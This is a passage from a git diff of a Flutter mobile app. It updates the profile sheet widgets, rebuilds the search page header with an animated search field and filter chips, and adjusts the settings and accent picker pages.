+                      const SizedBox(height: Grid.xxs),
+                      Divider(
+                        color: context.colors.outlineVariant.withValues(
+                          alpha: 0.3,
                         ),
-                        shape: RoundedRectangleBorder(
-                          borderRadius: BorderRadius.circular(Radii.lg),
+                      ),
+                      const SizedBox(height: Grid.xxs),
+                      Text(
+                        'About',
+                        style: context.textTheme.labelSmall?.copyWith(
+                          color: context.colors.onSurfaceVariant,
+                          fontWeight: FontWeight.w600,
                         ),
                       ),
-                    ),
-                  ),
-                  const SizedBox(height: Grid.xxs),
-                ],
-              ],
+                      const SizedBox(height: Grid.half),
+                      Text(
+                        about,
+                        style: context.textTheme.bodyMedium?.copyWith(
+                          color: context.colors.onSurfaceVariant,
+                        ),
+                      ),
+                    ],
+                  ],
+                ),
+              ),
             ),
           ),
-        ),
+        ],
       ),
     );
   }
 }
 
-/// A row displaying an icon + text, used for profile info items.
+/// Shows clipboard feedback above the bottom-sheet route. A regular SnackBar
+/// belongs to the page Scaffold, which sits behind the modal sheet.
+void _showProfileCopyToast(BuildContext context) {
+  final overlay = Overlay.of(context, rootOverlay: true);
+  final colors = context.colors;
+  final textStyle = context.textTheme.bodyMedium?.copyWith(
+    color: colors.onInverseSurface,
+  );
+  late final OverlayEntry entry;
+  entry = OverlayEntry(
+    builder: (overlayContext) => Positioned(
+      left: Grid.gutter,
+      right: Grid.gutter,
+      bottom: MediaQuery.viewPaddingOf(overlayContext).bottom + Grid.xs,
+      child: Material(
+        color: colors.inverseSurface,
+        elevation: 6,
+        borderRadius: BorderRadius.circular(Radii.lg),
+        child: Padding(
+          padding: const EdgeInsets.symmetric(
+            horizontal: Grid.xs,
+            vertical: Grid.twelve,
+          ),
+          child: Row(
+            mainAxisSize: MainAxisSize.min,
+            children: [
+              Icon(LucideIcons.check, size: 18, color: colors.onInverseSurface),
+              const SizedBox(width: Grid.xxs),
+              Text('Public key copied', style: textStyle),
+            ],
+          ),
+        ),
+      ),
+    ),
+  );
+  overlay.insert(entry);
+  Future<void>.delayed(const Duration(seconds: 2), () {
+    if (entry.mounted) entry.remove();
+  });
+}
 
-class _InfoRowContent extends StatelessWidget {
-  final IconData icon;
-  final Widget child;
+/// The read-only version of the presence control in Settings. A viewed profile
+/// reflects its owner's availability but does not allow another user to change
+/// it.
+class _ProfilePresenceChip extends StatelessWidget {
+  const _ProfilePresenceChip({required this.presence});
 
-  const _InfoRowContent({required this.icon, required this.child});
+  final String presence;
 
   @override
   Widget build(BuildContext context) {
-    return Padding(
-      padding: const EdgeInsets.symmetric(vertical: Grid.quarter),
-      child: Row(
-        crossAxisAlignment: CrossAxisAlignment.start,
-        children: [
-          Icon(icon, size: 16, color: context.colors.onSurfaceVariant),
-          const SizedBox(width: Grid.xxs),
-          Expanded(child: child),
-        ],
+    final effectivePresence = switch (presence) {
+      'online' || 'away' => presence,
+      _ => 'offline',
+    };
+    final backgroundColor = switch (effectivePresence) {
+      'online' => context.appColors.success,
+      'away' => context.appColors.warning,
+      _ => context.colors.onSurfaceVariant,
+    };
+    final label = switch (effectivePresence) {
+      'online' => 'Online',
+      'away' => 'Away',
+      _ => 'Offline',
+    };
+
+    return Semantics(
+      label: 'Presence: $label',
+      child: SizedBox(
+        height: Grid.xl,
+        child: Center(
+          child: Material(
+            color: backgroundColor,
+            borderRadius: BorderRadius.circular(Radii.full),
+            child: Padding(
+              padding: const EdgeInsets.symmetric(
+                horizontal: Grid.xs,
+                vertical: Grid.xxs,
+              ),
+              child: Text(
+                label,
+                style: filterChipTextStyle.copyWith(
+                  color: context.colors.onPrimary,
+                  fontWeight: FontWeight.w500,
+                ),
+              ),
+            ),
+          ),
+        ),
       ),
     );
   }
 }
 
-class _InfoRow extends StatelessWidget {
-  final IconData icon;
-  final String text;
-  final TextStyle? textStyle;
-  final VoidCallback? onTap;
-
-  const _InfoRow({
+class _ProfileActionTile extends StatelessWidget {
+  const _ProfileActionTile({
     required this.icon,
-    required this.text,
-    this.textStyle,
-    this.onTap,
+    required this.label,
+    required this.onTap,
+    this.isLoading = false,
   });
 
+  final IconData? icon;
+  final String label;
+  final VoidCallback onTap;
+  final bool isLoading;
+
   @override
-  Widget build(BuildContext context) {
-    final child = Padding(
-      padding: const EdgeInsets.symmetric(vertical: Grid.half + 2),
-      child: Row(
+  Widget build(BuildContext context) => GestureDetector(
+    onTap: isLoading
+        ? null
+        : () {
+            unawaited(HapticFeedback.lightImpact());
+            onTap();
+          },
+    behavior: HitTestBehavior.opaque,
+    child: Container(
+      width: double.infinity,
+      height: 68 + (Grid.xxs * 2),
+      decoration: BoxDecoration(
+        color: context.colors.surfaceContainerHighest,
+        borderRadius: BorderRadius.circular(Radii.dialog),
+      ),
+      child: Column(
+        mainAxisAlignment: MainAxisAlignment.center,
         children: [
-          SizedBox(
-            width: 24,
-            child: Icon(icon, size: 16, color: context.colors.onSurfaceVariant),
-          ),
-          const SizedBox(width: Grid.xxs),
-          Expanded(
-            child: Text(
-              text,
-              style:
-                  textStyle ??
-                  context.textTheme.bodyMedium?.copyWith(
-                    color: context.colors.onSurface,
-                  ),
+          if (isLoading)
+            BuzzLoadingIndicator(
+              size: 22,
+              color: context.colors.onSurface,
+              semanticLabel: 'Opening direct message',
+            )
+          else
+            Icon(icon, size: 22, color: context.colors.onSurface),
+          const SizedBox(height: Grid.xxs),
+          Text(
+            label,
+            style: context.textTheme.labelMedium?.copyWith(
+              color: context.colors.onSurface,
             ),
           ),
-          if (onTap != null)
-            Icon(
-              LucideIcons.copy,
-              size: 14,
-              color: context.colors.onSurfaceVariant,
-            ),
         ],
       ),
-    );
-
-    if (onTap != null) {
-      return GestureDetector(
-        behavior: HitTestBehavior.opaque,
-        onTap: onTap,
-        child: child,
-      );
-    }
-    return child;
-  }
+    ),
+  );
 }
 
 class _ProfileAvatar extends StatelessWidget {
@@ -345,8 +434,7 @@ class _ProfileAvatar extends StatelessWidget {
   Widget build(BuildContext context) {
     return AspectRatio(
       aspectRatio: 1,
-      child: ClipRRect(
-        borderRadius: BorderRadius.circular(20),
+      child: ClipOval(
         child: AvatarImageContent(
           imageUrl: avatarUrl,
           fallback: _AvatarFallback(initial: initial),
diff --git a/mobile/lib/features/search/search_page.dart b/mobile/lib/features/search/search_page.dart
index 65fc12dfd9..b97d10f55f 100644
--- a/mobile/lib/features/search/search_page.dart
+++ b/mobile/lib/features/search/search_page.dart
@@ -1,3 +1,4 @@
+import 'package:flutter/foundation.dart';
 import 'package:flutter/material.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
@@ -26,13 +27,42 @@ import '../profile/user_profile.dart';
 import 'recent_searches_provider.dart';
 import 'search_provider.dart';
 
+part 'search_page/motion_field.dart';
+
 enum _SearchFilter { all, messages, channels, people }
 
 const _searchFieldMinHeight = 36.0;
+const _searchIdleFieldHeight = 45.0;
+const _searchIdleTextSize = 15.0;
 const _searchFieldVerticalPadding = Grid.xxs;
-const _searchFieldHint = 'Search messages, channels, people\u2026';
-const _searchCancelEnterDuration = Duration(milliseconds: 160);
-const _searchCancelExitDuration = Duration(milliseconds: 120);
+const _searchFieldMoveDuration = Duration(milliseconds: 160);
+const _searchTitleReturnDuration = Duration(milliseconds: 80);
+const _searchCancelEnterDuration = Duration(milliseconds: 80);
+const _searchCancelExitDuration = Duration(milliseconds: 60);
+const _searchIdleFieldTopInset = Grid.half;
+const _searchActiveFieldTopOffset = 42.0;
+const _searchBottomOverlap =
+    _searchActiveFieldTopOffset + _searchIdleFieldTopInset;
+const _searchFilterChipVerticalPadding = Grid.xxs;
+const _searchFilterBarVerticalPadding = Grid.xxs;
+const _searchHeaderFiltersMinHeight = Grid.xl;
+const _searchActiveFieldRightInsetMin = 72.0;
+
+/// Reserves the Cancel action's scaled label, padding, and app-bar edge inset.
+double _searchActiveFieldRightInset(BuildContext context) {
+  final textPainter = TextPainter(
+    text: TextSpan(
+      text: 'Cancel',
+      style: filterChipTextStyle.copyWith(fontWeight: FontWeight.w500),
+    ),
+    textScaler: MediaQuery.textScalerOf(context),
+    textDirection: Directionality.of(context),
+  )..layout();
+  final cancelWidth = textPainter.width + Grid.half * 2 + Grid.twelve;
+  return cancelWidth > _searchActiveFieldRightInsetMin
+      ? cancelWidth
+      : _searchActiveFieldRightInsetMin;
+}
 
 double _searchFieldHeight(BuildContext context) {
   const style = searchInputTextStyle;
@@ -46,8 +76,35 @@ double _searchFieldHeight(BuildContext context) {
       : _searchFieldMinHeight;
 }
 
+double _idleSearchFieldHeight(BuildContext context) {
+  final scaledFontSize = MediaQuery.textScalerOf(
+    context,
+  ).scale(_searchIdleTextSize);
+  final contentHeight =
+      scaledFontSize * (20 / _searchIdleTextSize) +
+      _searchFieldVerticalPadding * 2;
+  return contentHeight > _searchIdleFieldHeight
+      ? contentHeight
+      : _searchIdleFieldHeight;
+}
+
+double _searchHeaderFiltersHeight(BuildContext context) {
+  const style = filterChipTextStyle;
+  final scaledLabelHeight =
+      MediaQuery.textScalerOf(context).scale(style.fontSize ?? 15) *
+      (style.height ?? 1);
+  final chipHeight = scaledLabelHeight + _searchFilterChipVerticalPadding * 2;
+  final contentHeight = chipHeight + _searchFilterBarVerticalPadding * 2;
+  return contentHeight > _searchHeaderFiltersMinHeight
+      ? contentHeight
+      : _searchHeaderFiltersMinHeight;
+}
+
 class SearchPage extends HookConsumerWidget {
-  const SearchPage({super.key});
+  const SearchPage({this.tabReselection, super.key});
+
+  /// Notifies this page when its already-selected tab is tapped again.
+  final ValueListenable<int>? tabReselection;
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
@@ -59,202 +116,306 @@ class SearchPage extends HookConsumerWidget {
     final activeFilter = useState(_SearchFilter.all);
     final textController = useTextEditingController();
     final focusNode = useFocusNode();
-    final isSearchFocused = useListenableSelector(
-      focusNode,
-      () => focusNode.hasFocus,
-    );
+    final isSearchEditing = useState(false);
+    final showSearchTitle = useState(true);
+    final isTabActivationInFlight = useRef(false);
     final reduceMotion = MediaQuery.disableAnimationsOf(context);
-    final isBuzzTheme = context.appColors.topSectionGradient != null;
-    final buzzSearchColor = context.theme.brightness == Brightness.dark
-        ? Colors.white
-        : Colors.black;
-    final searchSurfaceColor = isBuzzTheme
-        ? buzzSearchColor.withValues(alpha: 0.04)
-        : context.colors.surfaceContainerHighest;
-    final searchMutedColor = isBuzzTheme
-        ? buzzSearchColor.withValues(alpha: 0.4)
-        : context.colors.onSurfaceVariant;
+    final searchSurfaceColor = navigationSearchSurface(context);
+    final searchPrimaryColor = navigationPrimaryForeground(context);
+    final searchPlaceholderColor = navigationSecondaryForeground(context);
     final headerTitleStyle = context.textTheme.titleMedium?.copyWith(
       fontSize: 22,
       fontWeight: FontWeight.w600,
     );
-    final searchFieldHeight = _searchFieldHeight(context);
-    final searchControlHeight = searchFieldHeight > Grid.xl
-        ? searchFieldHeight
+    final compactSearchFieldHeight = _searchFieldHeight(context);
+    final idleSearchFieldHeight = _idleSearchFieldHeight(context);
+    final searchHeaderFiltersHeight = _searchHeaderFiltersHeight(context);
+    final searchActiveFieldRightInset = _searchActiveFieldRightInset(context);
+    // Cancel remains an accessible target without giving the text action a
+    // visual button treatment.
+    final searchControlHeight = compactSearchFieldHeight > Grid.xl
+        ? compactSearchFieldHeight
         : Grid.xl;
-    final searchHeaderBottomHeight = searchControlHeight + Grid.twelve;
+    final searchHeaderBottomHeight = isSearchEditing.value
+        ? _searchIdleFieldTopInset +
+              compactSearchFieldHeight +
+              searchHeaderFiltersHeight
+        : idleSearchFieldHeight + _searchIdleFieldTopInset + Grid.xxs;
+    final topSectionHeight = frostedAppBarHeight(
+      context,
+      titleStyle: headerTitleStyle,
+      bottomHeight: searchHeaderBottomHeight,
+    );
+
+    void activateSearch() {
+      showSearchTitle.value = false;
+      isSearchEditing.value = true;
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        if (context.mounted && isSearchEditing.value) {
+          focusNode.requestFocus();
+        }
+      });
+    }
+
+    void deactivateSearch() {
+      if (!isSearchEditing.value) return;
+      // The field is painted above the title while it returns to its idle
+      // position. Start this fade now so the title is already there beneath it
+      // and is revealed by the field's motion instead of arriving afterward.
+      showSearchTitle.value = true;
+      isSearchEditing.value = false;
+    }
+
+    useEffect(() {
+      final tabReselection = this.tabReselection;
+      if (tabReselection == null) return null;
+
+      void reactivateSearch() {
+        // The same tab gesture can report focus loss after this callback. Keep
+        // that notification from starting a competing return animation while
+        // the normal field activation path restores focus.
+        isTabActivationInFlight.value = true;
+        activateSearch();
+        WidgetsBinding.instance.addPostFrameCallback((_) {
+          isTabActivationInFlight.value = false;
+        });
+      }
+
+      tabReselection.addListener(reactivateSearch);
+      return () => tabReselection.removeListener(reactivateSearch);
+    }, [tabReselection, focusNode]);
+
+    useEffect(() {
+      void resetIdlePromptWhenFocusLeaves() {
+        if (!focusNode.hasFocus && !isTabActivationInFlight.value) {
+          deactivateSearch();
+        }
+      }
+
+      focusNode.addListener(resetIdlePromptWhenFocusLeaves);
+      return () => focusNode.removeListener(resetIdlePromptWhenFocusLeaves);
+    }, [focusNode]);
 
     void runRecentSearch(String query) {
       textController.value = TextEditingValue(
         text: query,
         selection: TextSelection.collapsed(offset: query.length),
       );
-      focusNode.requestFocus();
+      activateSearch();
       ref.read(recentSearchesProvider.notifier).record(query);
       ref.read(searchProvider.notifier).search(query);
     }
 
     return FrostedScaffold(
-      backgroundColor: Colors.transparent,
+      backgroundColor: context.colors.surface,
       // Keep the empty state centered in the page rather than the portion left
       // above the keyboard.
       resizeToAvoidBottomInset: false,
       appBar: FrostedAppBar(
         automaticallyImplyLeading: false,
-        gradient: context.appColors.topSectionGradient,
-        title: const Text('Search'),
+        horizontalInset: Grid.twelve,
+        showBottomDivider: true,
+        bottomDividerOpacity: 0.06,
         titleStyle: headerTitleStyle,
-        bottomHeight: searchHeaderBottomHeight,
-        bottom: Padding(
-          padding: const EdgeInsets.fromLTRB(
-            Grid.gutter,
-            0,
-            Grid.gutter,
-            Grid.twelve,
+        // Keep this mounted through the search-field morph so it can fade in
+        // beneath the returning field rather than popping in afterward.
+        title: IgnorePointer(
+          child: AnimatedOpacity(
+            key: const Key('search-header-title-opacity'),
+            duration: reduceMotion ? Duration.zero : _searchTitleReturnDuration,
+            curve: Curves.easeOutCubic,
+            opacity: showSearchTitle.value ? 1 : 0,
+            child: Text(
+              'Search',
+              key: const ValueKey('search-header-title'),
+              style: headerTitleStyle,
+            ),
           ),
-          child: Row(
-            children: [
-              Expanded(
-                child: Container(
-                  key: const Key('search-field-container'),
-                  height: searchFieldHeight,
-                  padding: const EdgeInsets.symmetric(horizontal: Grid.half),
-                  decoration: BoxDecoration(
-                    color: searchSurfaceColor,
-                    borderRadius: BorderRadius.circular(Radii.lg),
+        ),
+        actions: [
+          AnimatedSwitcher(
+            duration: reduceMotion ? Duration.zero : _searchCancelEnterDuration,
+            reverseDuration: reduceMotion
+                ? Duration.zero
+                : _searchCancelExitDuration,
+            transitionBuilder: (child, animation) {
+              final curvedAnimation = CurvedAnimation(
+                parent: animation,
+                curve: Curves.easeOutCubic,
+                reverseCurve: Curves.easeInCubic,
+              );
+              return SizeTransition(
+                sizeFactor: curvedAnimation,
+                axis: Axis.horizontal,
+                axisAlignment: 1,
+                child: FadeTransition(
+                  opacity: curvedAnimation,
+                  child: SlideTransition(
+                    position: Tween<Offset>(
+                      begin: const Offset(0.35, 0),
+                      end: Offset.zero,
+                    ).animate(curvedAnimation),
+                    child: child,
                   ),
-                  child: TextField(
-                    key: const Key('search-field'),
-                    controller: textController,
-                    focusNode: focusNode,
-                    decoration: InputDecoration(
-                      hintText: isSearchFocused ? null : _searchFieldHint,
-                      hintStyle: searchInputTextStyle.copyWith(
-                        color: searchMutedColor,
-                      ),
-                      prefixIcon: Icon(
-                        LucideIcons.search,
-                        size: 16,
-                        color: searchMutedColor,
-                      ),
-                      prefixIconConstraints: const BoxConstraints(minWidth: 32),
-                      border: InputBorder.none,
-                      enabledBorder: InputBorder.none,
-                      focusedBorder: InputBorder.none,
-                      isDense: true,
-                      contentPadding: const EdgeInsets.symmetric(
-                        vertical: _searchFieldVerticalPadding,
+                ),
+              );
+            },
+            child: isSearchEditing.value
+                ? Semantics(
+                    key: const Key('search-cancel'),
+                    button: true,
+                    label: 'Cancel search',
+                    child: GestureDetector(
+                      behavior: HitTestBehavior.opaque,
+                      onTap: () {
+                        textController.clear();
+                        ref.read(searchProvider.notifier).clear();
+                        deactivateSearch();
+                        focusNode.unfocus();
+                      },
+                      child: SizedBox(
+                        height: searchControlHeight,
+                        child: Padding(
+                          padding: const EdgeInsets.symmetric(
+                            horizontal: Grid.half,
+                          ),
+                          child: Center(
+                            child: Text(
+                              'Cancel',
+                              style: filterChipTextStyle.copyWith(
+                                color: context.colors.primary,
+                                fontWeight: FontWeight.w500,
+                              ),
+                            ),
+                          ),
+                        ),
                       ),
                     ),
-                    style: searchInputTextStyle.copyWith(
-                      color: context.colors.onSurface,
-                    ),
-                    textInputAction: TextInputAction.search,
-                    onChanged: (value) =>
-                        ref.read(searchProvider.notifier).search(value),
-                    onSubmitted: (value) {
-                      final query = value.trim();
-                      if (query.isEmpty) return;
-                      ref.read(recentSearchesProvider.notifier).record(query);
-                    },
-                  ),
+                  )
+                : const SizedBox.shrink(key: ValueKey('search-cancel-hidden')),
+          ),
+        ],
+        bottomHeight: searchHeaderBottomHeight,
+        bottomOverlap: _searchBottomOverlap,
+        bottom: Stack(
+          clipBehavior: Clip.none,
+          children: [
+            AnimatedPositioned(
+              duration: reduceMotion ? Duration.zero : _searchFieldMoveDuration,
+              curve: Curves.easeInOutCubic,
+              left: Grid.gutter,
+              right: isSearchEditing.value
+                  ? searchActiveFieldRightInset
+                  : Grid.gutter,
+              top: isSearchEditing.value
+                  ? _searchIdleFieldTopInset
+                  : _searchBottomOverlap + _searchIdleFieldTopInset,
+              height: isSearchEditing.value
+                  ? compactSearchFieldHeight
+                  : idleSearchFieldHeight,
+              // Do not key this subtree by the visual state: replacing the
+              // TextField immediately after its first tap can detach its
+              // native input connection before the keyboard is shown.
+              child: SizedBox(
+                key: const Key('search-field-container'),
+                child: _SearchMotionField(
+                  controller: textController,
+                  focusNode: focusNode,
+                  iconColor: searchPrimaryColor,
+                  inputColor: searchPrimaryColor,
+                  placeholderColor: searchPlaceholderColor,
+                  surfaceColor: searchSurfaceColor,
+                  isSearchEditing: isSearchEditing.value,
+                  reduceMotion: reduceMotion,
+                  motionDuration: _searchFieldMoveDuration,
+                  onTap: activateSearch,
+                  onChanged: (value) =>
+                      ref.read(searchProvider.notifier).search(value),
+                  onSubmitted: (value) {
+                    final query = value.trim();
+                    if (query.isEmpty) return;
+                    ref.read(recentSearchesProvider.notifier).record(query);
+                  },
                 ),
               ),
-              AnimatedSwitcher(
+            ),
+            Positioned.fill(
+              child: AnimatedSwitcher(
                 duration: reduceMotion
                     ? Duration.zero
                     : _searchCancelEnterDuration,
-                reverseDuration: reduceMotion
-                    ? Duration.zero
-                    : _searchCancelExitDuration,
-                transitionBuilder: (child, animation) {
-                  final curvedAnimation = CurvedAnimation(
-                    parent: animation,
-                    curve: Curves.easeOutCubic,
-                    reverseCurve: Curves.easeInCubic,
-                  );
-                  return SizeTransition(
-                    sizeFactor: curvedAnimation,
-                    axis: Axis.horizontal,
-                    axisAlignment: 1,
-                    child: FadeTransition(
-                      opacity: curvedAnimation,
-                      child: SlideTransition(
-                        position: Tween<Offset>(
-                          begin: const Offset(0.35, 0),
-                          end: Offset.zero,
-                        ).animate(curvedAnimation),
-                        child: child,
-                      ),
-                    ),
-                  );
-                },
-                child: isSearchFocused
-                    ? Padding(
-                        key: const ValueKey('search-cancel-visible'),
-                        padding: const EdgeInsets.only(left: Grid.xxs),
-                        child: TextButton(
-                          key: const Key('search-cancel'),
-                          onPressed: () {
-                            textController.clear();
-                            ref.read(searchProvider.notifier).clear();
-                            focusNode.unfocus();
-                          },
-                          style: TextButton.styleFrom(
-                            foregroundColor: context.colors.primary,
-                            minimumSize: Size(0, searchControlHeight),
-                            padding: const EdgeInsets.symmetric(
-                              horizontal: Grid.half,
-                              vertical: Grid.xxs,
-                            ),
-                            tapTargetSize: MaterialTapTargetSize.shrinkWrap,
-                          ),
-                          child: Text(
-                            'Cancel',
-                            style: filterChipTextStyle.copyWith(
-                              color: context.colors.primary,
-                              fontWeight: FontWeight.w500,
+                switchInCurve: Curves.easeOutCubic,
+                switchOutCurve: Curves.easeInCubic,
+                transitionBuilder: (child, animation) => FadeTransition(
+                  opacity: animation,
+                  child: SlideTransition(
+                    position: Tween<Offset>(
+                      begin: const Offset(0, 0.2),
+                      end: Offset.zero,
+                    ).animate(animation),
+                    child: child,
+                  ),
+                ),
+                child: isSearchEditing.value
+                    ? Align(
+                        alignment: Alignment.topCenter,
+                        child: Padding(
+                          padding: EdgeInsets.only(top: _searchBottomOverlap),
+                          child: SizedBox(
+                            key: const ValueKey('search-header-filters'),
+                            height: searchHeaderFiltersHeight,
+                            child: FilterChipBar<_SearchFilter>(
+                              expandItems: true,
+                              visualDensity: const VisualDensity(
+                                horizontal: -2,
+                              ),
+                              chipVerticalPadding:
+                                  _searchFilterChipVerticalPadding,
+                              barVerticalPadding:
+                                  _searchFilterBarVerticalPadding,
+                              selected: activeFilter.value,
+                              onSelected: (f) => activeFilter.value = f,
+                              items: [
+                                for (final f in _SearchFilter.values)
+                                  FilterChipItem(id: f, label: f.label),
+                              ],
                             ),
                           ),
                         ),
                       )
                     : const SizedBox.shrink(
-                        key: ValueKey('search-cancel-hidden'),
+                        key: ValueKey('search-header-filters-hidden'),
                       ),
               ),
-            ],
-          ),
+            ),
+          ],
         ),
-        actions: const [],
       ),
       body: Column(
         crossAxisAlignment: CrossAxisAlignment.stretch,
         children: [
-          SizedBox(
-            height: frostedAppBarHeight(
-              context,
-              bottomHeight: searchHeaderBottomHeight,
-              titleStyle: headerTitleStyle,
-            ),
-          ),
-          FilterChipBar<_SearchFilter>(
-            expandItems: true,
-            visualDensity: const VisualDensity(horizontal: -2),
-            chipVerticalPadding: Grid.xxs,
-            barVerticalPadding: Grid.twelve,
-            selected: activeFilter.value,
-            onSelected: (f) => activeFilter.value = f,
-            items: [
-              for (final f in _SearchFilter.values)
-                FilterChipItem(id: f, label: f.label),
-            ],
-          ),
+          SizedBox(height: topSectionHeight),
           Expanded(
-            child: _SearchBody(
-              state: searchState,
-              filter: activeFilter.value,
-              currentPubkey: currentPubkey,
-              onRecentSearchSelected: runRecentSearch,
+            child: ClipRRect(
+              borderRadius: const BorderRadius.vertical(
+                top: Radius.circular(Radii.dialog),
+              ),
+              child: ColoredBox(
+                color: context.colors.surface,
+                child: Column(
+                  crossAxisAlignment: CrossAxisAlignment.stretch,
+                  children: [
+                    Expanded(
+                      child: _SearchBody(
+                        state: searchState,
+                        filter: activeFilter.value,
+                        currentPubkey: currentPubkey,
+                        onRecentSearchSelected: runRecentSearch,
+                      ),
+                    ),
+                  ],
+                ),
+              ),
             ),
           ),
         ],
diff --git a/mobile/lib/features/search/search_page/motion_field.dart b/mobile/lib/features/search/search_page/motion_field.dart
new file mode 100644
index 0000000000..96a23849a1
--- /dev/null
+++ b/mobile/lib/features/search/search_page/motion_field.dart
@@ -0,0 +1,113 @@
+part of '../search_page.dart';
+
+const _searchIdleIconSize = 26.0;
+const _searchCompactIconSize = 18.0;
+const _searchFieldHint = 'Search messages, channels, and people';
+const _searchIdleIconInset = Grid.xxs;
+const _searchIdleTextInset =
+    _searchIdleIconInset + _searchIdleIconSize + Grid.xxs;
+const _searchCompactTextInset =
+    _searchIdleIconInset + _searchCompactIconSize + Grid.xxs;
+
+class _SearchMotionField extends StatelessWidget {
+  final TextEditingController controller;
+  final FocusNode focusNode;
+  final Color iconColor;
+  final Color inputColor;
+  final Color placeholderColor;
+  final Color surfaceColor;
+  final bool isSearchEditing;
+  final bool reduceMotion;
+  final Duration motionDuration;
+  final VoidCallback onTap;
+  final ValueChanged<String> onChanged;
+  final ValueChanged<String> onSubmitted;
+
+  const _SearchMotionField({
+    required this.controller,
+    required this.focusNode,
+    required this.iconColor,
+    required this.inputColor,
+    required this.placeholderColor,
+    required this.surfaceColor,
+    required this.isSearchEditing,
+    required this.reduceMotion,
+    required this.motionDuration,
+    required this.onTap,
+    required this.onChanged,
+    required this.onSubmitted,
+  });
+
+  @override
+  Widget build(BuildContext context) => DecoratedBox(
+    decoration: BoxDecoration(
+      color: surfaceColor,
+      borderRadius: BorderRadius.circular(Radii.lg),
+    ),
+    child: Stack(
+      children: [
+        Positioned.fill(
+          child: Align(
+            alignment: Alignment.centerLeft,
+            child: SizedBox(
+              width: double.infinity,
+              child: TextField(
+                key: const Key('search-field'),
+                controller: controller,
+                focusNode: focusNode,
+                decoration: InputDecoration(
+                  hintText: isSearchEditing ? null : _searchFieldHint,
+                  hintStyle: searchInputTextStyle.copyWith(
+                    color: placeholderColor,
+                    fontSize: _searchIdleTextSize,
+                    height: 20 / _searchIdleTextSize,
+                  ),
+                  border: InputBorder.none,
+                  enabledBorder: InputBorder.none,
+                  focusedBorder: InputBorder.none,
+                  isDense: true,
+                  contentPadding: EdgeInsets.only(
+                    left: isSearchEditing
+                        ? _searchCompactTextInset
+                        : _searchIdleTextInset,
+                    right: Grid.xxs,
+                    top: isSearchEditing ? _searchFieldVerticalPadding : 0,
+                    bottom: isSearchEditing ? _searchFieldVerticalPadding : 0,
+                  ),
+                ),
+                style: searchInputTextStyle.copyWith(color: inputColor),
+                textAlignVertical: TextAlignVertical.center,
+                textAlign: TextAlign.start,
+                textInputAction: TextInputAction.search,
+                onTap: onTap,
+                onChanged: onChanged,
+                onSubmitted: onSubmitted,
+              ),
+            ),
+          ),
+        ),
+        IgnorePointer(
+          child: Align(
+            alignment: Alignment.centerLeft,
+            child: Padding(
+              padding: const EdgeInsets.only(left: _searchIdleIconInset),
+              child: AnimatedScale(
+                duration: reduceMotion ? Duration.zero : motionDuration,
+                curve: Curves.easeInOutCubic,
+                scale: isSearchEditing
+                    ? _searchCompactIconSize / _searchIdleIconSize
+                    : 1,
+                child: Icon(
+                  LucideIcons.search,
+                  key: const Key('search-moving-icon'),
+                  size: _searchIdleIconSize,
+                  color: iconColor,
+                ),
+              ),
+            ),
+          ),
+        ),
+      ],
+    ),
+  );
+}
diff --git a/mobile/lib/features/settings/accent_picker_page.dart b/mobile/lib/features/settings/accent_picker_page.dart
index 6f174df741..88965e251f 100644
--- a/mobile/lib/features/settings/accent_picker_page.dart
+++ b/mobile/lib/features/settings/accent_picker_page.dart
@@ -15,7 +15,9 @@ class AccentPickerPage extends ConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
-    final selected = ref.watch(accentProvider);
+    final selected =
+        accentIndexForWireValue(ref.watch(communityThemeProvider).accent) ??
+        defaultAccentIndex;
     final colorScheme = context.colors;
 
     return FrostedScaffold(
@@ -31,7 +33,8 @@ class AccentPickerPage extends ConsumerWidget {
               color: accentColorForScheme(colorScheme, i),
               label: accentColors[i].name,
               selected: selected == i,
-              onTap: () => ref.read(accentProvider.notifier).setAccent(i),
+              onTap: () =>
+                  ref.read(communityThemeProvider.notifier).setAccent(i),
             ),
         ],
       ),
diff --git a/mobile/lib/features/settings/settings_page.dart b/mobile/lib/features/settings/settings_page.dart
index f089f63915..d53f39a672 100644
--- a/mobile/lib/features/settings/settings_page.dart
+++ b/mobile/lib/features/settings/settings_page.dart
@@ -1,4 +1,7 @@
+import 'dart:async';
+
 import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
 import 'package:flutter_hooks/flutter_hooks.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
@@ -13,6 +16,7 @@ import '../../shared/widgets/app_list.dart';
 import '../../shared/widgets/app_list_card.dart';
 import '../../shared/widgets/frosted_app_bar.dart';
 import '../../shared/widgets/frosted_scaffold.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import 'accent_picker_page.dart';
 import 'theme_picker_page.dart';
 
@@ -28,17 +32,38 @@ class SettingsPage extends HookConsumerWidget {
   Widget build(BuildContext context, WidgetRef ref) {
     final packageInfoFuture = useMemoized(() => PackageInfo.fromPlatform());
     final packageInfo = useFuture(packageInfoFuture);
+    final topSectionHeight = frostedAppBarHeight(
+      context,
+      bottomHeight: Grid.xxs,
+    );
 
     return FrostedScaffold(
-      appBar: const FrostedAppBar(title: Text('Settings')),
+      backgroundColor: context.colors.surface,
+      appBar: FrostedAppBar(
+        automaticallyImplyLeading: false,
+        horizontalInset: Grid.gutter,
+        showBottomDivider: false,
+        leading: SizedBox(
+          width: Grid.xl,
+          height: Grid.xl,
+          child: IconButton(
+            tooltip: 'Close settings',
+            onPressed: () {
+              unawaited(HapticFeedback.lightImpact());
+              Navigator.of(context).pop();
+            },
+            color: navigationPrimaryForeground(context),
+            icon: const Icon(LucideIcons.x),
+          ),
+        ),
+        bottomHeight: Grid.xxs,
+        bottom: const SizedBox.expand(),
+      ),
       body: Column(
         children: [
           Expanded(
             child: ListView(
-              padding: EdgeInsets.only(
-                top: frostedAppBarHeight(context),
-                bottom: Grid.xs,
-              ),
+              padding: EdgeInsets.only(top: topSectionHeight, bottom: Grid.xs),
               children: [
                 profileHeader,
                 const _AppearanceSection(),
diff --git a/mobile/lib/features/settings/settings_page/appearance_section.dart b/mobile/lib/features/settings/settings_page/appearance_section.dart
index 26c9d20fe1..9179003180 100644
--- a/mobile/lib/features/settings/settings_page/appearance_section.dart
+++ b/mobile/lib/features/settings/settings_page/appearance_section.dart
@@ -15,12 +15,16 @@ class _AppearanceSection extends ConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
